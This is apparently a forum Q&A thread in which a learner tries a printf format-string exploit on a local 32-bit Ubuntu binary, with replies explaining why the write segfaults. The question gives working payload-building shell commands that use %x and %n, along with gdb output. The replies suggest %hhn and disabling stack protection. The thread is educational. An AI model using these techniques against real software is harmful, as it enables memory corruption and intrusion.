I am trying to learn more about printf vulnerability. I understand the theory but I am unable to put it into practice.


All my attempts to write a single byte into memory result in a Segmentation fault.

What is the most likely reason for the failure? My guess is that it may be some sort of protection in modern compilers/OS (I am running that on 64 bit Ubuntu Xenial), but I don't know much about it.


I am able to read stack. I found that that the call I am trying to exploit puts 6*4 bytes in front of my input:

Your choice: AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x
You entered: AAAA.00000001.00000005.f76c7d60.0000000a.09787008.ff9c9e48.41414141

I disassembled the binary and found the memory location(s) I want to change. I tried various addresses, both code and data with the same result. For instance, the address of the string Your choice: is 0x0804b795.

$ gdb -batch -ex "x/s 0x0804b795" ./a.out
0x804b795:  "Your choice: "

I am able to write that address to the payload:

$ echo "the binary ignores the 1st line" > ./payload
$ echo $(printf "\x95\xb7\x04\x08").%08x.%08x.%08x.%08x.%08x.%08x.%08x >> ./payload
$ cat payload - | ./a.out

Your choice: You entered: ?.00000001.00000005.f76f5d60.0000000a.09844008.ff8ff1d8.0804b795

Then I replace the last %08x with %n to write into that address. The number of printed chars would be 4 (for the address) + 6 * 8 (padded %x) + 7 (dots) = 59 which puts the value to be written in ASCII range; 59 stands for semicolon - a suitable character to write into a string.

$ echo "the binary ignores the 1st line" > ./payload
$ echo $(printf "\x95\xb7\x04\x08").%08x.%08x.%08x.%08x.%08x.%08x.%n >> ./payload
$ cat payload | ./a.out

To my best knowledge that should work and I was hoping to see ;our choice prompt on next iteration but I am getting

Your choice: You entered: 

Segmentation fault

To confirm:

$ gdb a.out

(gdb) run < payload

Your choice: You entered:

Program received signal SIGSEGV, Segmentation fault.
0xf7e58dff in vfprintf () from /lib32/libc.so.6

(gdb) bt
#0  0xf7e58dff in vfprintf () from /lib32/libc.so.6
#1  0xf7e5df66 in printf () from /lib32/libc.so.6
#2  0x080487b4 in getInput ()
#3  0x0804b206 in programMain ()
#4  0x0804b3b0 in main ()

What am I missing? What else can I check?


I recommend you to check if the 0x0804b795 address is writable.

You can see the different regions of a running process in /proc/PID/maps. For example:

$ sleep 10 &
[1] 1438
$ cat /proc/$(pgrep -f 'sleep 10')/maps
08048000-0804d000 r-xp 00000000 08:01 399565     /bin/sleep
0804d000-0804e000 r--p 00005000 08:01 399565     /bin/sleep
0804e000-0804f000 rw-p 00006000 08:01 399565     /bin/sleep
084b4000-084d5000 rw-p 00000000 00:00 0          [heap]

In this case only the addresses between 0804e000-0804f000 and 084b4000-084d5000 are writable.

Inside GDB, you can use info proc or info inferior to get the PID of the debugged program.

Also, keep in mind that %n will write an integer value, not a single character. I mean, in this case it will write 4 chars (in little-endian). But you can use %hhn to write a single character.

I recommend you to read http://jbremer.org/format-string-vulnerabilities/ and to look at the printf(3) documentation.

  • Thank you, you were spot on: /proc/9512$ cat maps 08048000-0804c000 r-xp 00000000 08:00 434 /tmp/a.out 0804c000-0804e000 rw-p 00003000 08:00 434 /tmp/a.out ... Does that mean there is no chance to exploit the string format vulnerability without modifying the binary? There is a writable region with a copy of the code, but I don't think it ever gets executed. – vitaly Oct 1 '16 at 18:49
  • If you need to exploit the binary writing into a region, try to search the writable section to see what it is there. – zuazo Oct 1 '16 at 19:32

Try taking a look here: Stack Overflows - Defeating Canaries, ASLR, DEP, NX

It sounds like you might have a stack canary. You would need to specifically compile the target program without stack canary protection. Learn more about how here: https://stackoverflow.com/questions/2340259/how-to-turn-off-gcc-compiler-optimization-to-enable-buffer-overflow

In short you would need to do:

gcc target.c -fno-stack-protector

Also! Make sure your string has a null byte at the end \00 :)

  • Thanks, that is interesting, but I don't think there is a canary; at least according to r2 analysis. – vitaly Oct 1 '16 at 18:53

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.